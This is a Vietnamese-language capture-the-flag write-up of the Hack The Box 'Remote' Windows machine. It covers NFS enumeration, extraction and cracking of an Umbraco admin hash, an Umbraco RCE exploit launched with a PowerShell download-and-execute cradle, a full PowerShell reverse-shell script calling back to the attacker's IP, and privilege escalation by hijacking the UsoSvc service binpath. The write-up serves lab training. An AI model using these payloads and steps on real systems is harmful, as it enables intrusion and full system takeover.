[HTB Write-up] Remote

0. Mở đầu

Đây là machine Windows đầu tiên mình chơi. Khá muộn ! Do vậy mình chọn một bài easy và được vote cao, cũng như liên quan tới CVE nhiều để dễ bề tiếp cận:

Và khi nhìn vào Matrix-rate thì có vẻ đây đúng là machine mình cần tìm. Cùng với đó là điểm được user đánh giá lên đến 4,2/5 sao.

Bài được ra mắt vào 21/3/2020, tính đến nay là hơn 2 tháng và là một machine khá cơ bản, thú vị !

Let’s start

1. Write-up

1.1 User Flag

Ngày đầu quét các thứ các thứ và tìm ra nơi có lỗi nhưng ko có credential nên cũng không làm gì được machine

Tìm các end-point với Gobuster:

gobuster dir -u 10.10.10.180 -w ~/MyComputer/Wordlist/common.txt -t 30 -x php,txt,html -l -e

Tại đây chúng ta có /install/ có HTTP status code 302, và khi truy cập thì redirect người dùng tới

http://10.10.10.180/umbraco/#/login

Ban đầu mình nghĩ đây là SQLi (again), tuy nhiên đó là 1 CMS có lỗ hổng RCE gần đây, yêu cầu đó là phải có credential (phải authen).

——Hết ngày đầu tiên, chuyển sang đọc trước khi làm——

Sau khi đọc qua sách vở, nghiên cứu và hỏi bạn có kinh nghiệm chơi Windows hơn, thì kết quả là đi quét lại Nmap và tìm hiểu các dịch vụ trên đó.

nmap -v -sS -sC -A -Pn -T5 -p- -oN remote.txt 10.10.10.180
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC

Service rpcbind trên port 111 có nfs. Chi tiết cách pentest tại đây. Với nfs – So powerful:

If you find the service NFS then probably you will be able to list and download(and maybe upload) files

Tại đây chúng ta có 3 tùy chọn với nmap script:

nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
nfs-statfs #Disk statistics and info from NFS share

Quét tiếp:

sudo nmap -sV --script=nfs-ls -p 111,2049 -oN ls.txt 10.10.10.180
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2-4 (RPC #100000)
| nfs-ls: Volume /site_backups
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID         GID         SIZE   TIME                 FILENAME
| rwx------   4294967294  4294967294  4096   2020-05-27T09:29:19  .
| ??????????  ?           ?           ?      ?                    ..
| rwx------   4294967294  4294967294  64     2020-02-20T17:16:39  App_Browsers
| rwx------   4294967294  4294967294  4096   2020-02-20T17:17:19  App_Data
| rwx------   4294967294  4294967294  4096   2020-02-20T17:16:40  App_Plugins
| rwx------   4294967294  4294967294  8192   2020-02-20T17:16:42  Config
| rwx------   4294967294  4294967294  64     2020-02-20T17:16:40  aspnet_client
| rwx------   4294967294  4294967294  49152  2020-02-20T17:16:42  bin
| rwx------   4294967294  4294967294  64     2020-02-20T17:16:42  css
| rwx------   4294967294  4294967294  152    2018-11-01T17:06:44  default.aspx
|_
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
2049/tcp open  mountd  1-3 (RPC #100005)

Tiếp tục quét:

sudo nmap -sV --script=nfs-showmount -p 111,2049 -oN ls.txt 10.10.10.180
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2-4 (RPC #100000)
| nfs-showmount: 
|_  /site_backups 
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
2049/tcp open  mountd  1-3 (RPC #100005)
| nfs-showmount: 
|_  /site_backups 

Tạo 1 ổ trên local để mount data trong /site_backups:

sudo mkdir /mnt/machine_remote

Kéo file về theo đúng như hướng dẫn ở link trên:

sudo mount -t nfs -o vers=2 10.10.10.180:/site_backups /mnt/remote_machine -o nolock

Nội dung kéo về được:

Tại App_Data chúng ta có file Umbraco.sdf nằm lọt thỏm bên ngoài, ta copy nó ra một thư mục khác để dễ thao tác và tìm các từ khả nghi, như bao machine Linux khác.

strings Umbraco.sdf | grep từ khóa

Với strings Umbraco.sdf | grep hash

Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32

SHA1 có thể crack, với hash là

b8be16afba8c314ad33d812f22a04991b90e2aaa

sẽ tương đương với baconandcheese.

Google search sẽ ra lỗi RCE của CMS và có cả mã khai thác viết bằng Python tại đây

wget https://raw.githubusercontent.com/noraj/Umbraco-RCE/master/exploit.py -O umbraco_cve.py
chmod 775 umbraco_cve.py
Thêm enviroment cho file

Chạy thử đúng như ví dụ:

Lắng nghe trên máy local (ở ảnh thì mình dùng metasploit Handler):

rlwrap nc -nlvp 4443
./umbraco_cve.py -u admin@htb.local -p baconandcheese -i 'http://remote.htb' -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.14:8888/mini-reverse.ps1')"

Nội dung mini-reverse.ps1

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

$sm=(New-Object Net.Sockets.TCPClient('10.10.14.14',4443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Link của mini-reverse.ps1 tại đây.

Exploit:

./umbraco_cve.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.14:8888/mini-reverse.ps1')"

Kết quả:

Và lấy user Flag:

1.2 Root Flag

Việc leo Root được tiến hành sau nên IP local bị thay đổi !

Kéo script để Enum về machine và chạy:

Link script tại đây.

Command:

powershell -c "iex(new-object net.webclient).downloadstring('http://10.10.14.91:8888/PowerUp.ps1'); Invoke-AllChecks"

Kết quả:

Service exploit là UsoSvc.

Kéo nc về:

mkdir temp
invoke-webrequest -Uri http://10.10.14.91:8888/nc.exe -OutFile c:\temp\nc.exe

Lưu ý cần tạo /temp/ trước

Tại local tạo file .bat như sau:

Kéo nó lên machine:

invoke-webrequest -Uri http://10.10.14.91:8888/connect.bat -OutFile c:\temp\connect.bat

Gán binpath cho UsoSvc:

sc.exe config UsoSvc binpath= "C:\temp\connect.bat"

Listen trên máy local và chạy UsoSvc:

sc.exe start UsoSvc

Kết quả:

Lấy flag:

type C:\Users\Administrator\Desktop\root.txt

2. Kết luận

Một bài khởi động khá hay cho machine Windows, rate ổn và cách leo quyền không quá phức tạp, có nhiều hướng dẫn. Tuy nhiên cách làm trong bài viết này là tự custom một chút.

Happy hacking !

Leave a comment

Website Powered by WordPress.com.

Up ↑

Design a site like this with WordPress.com
Get started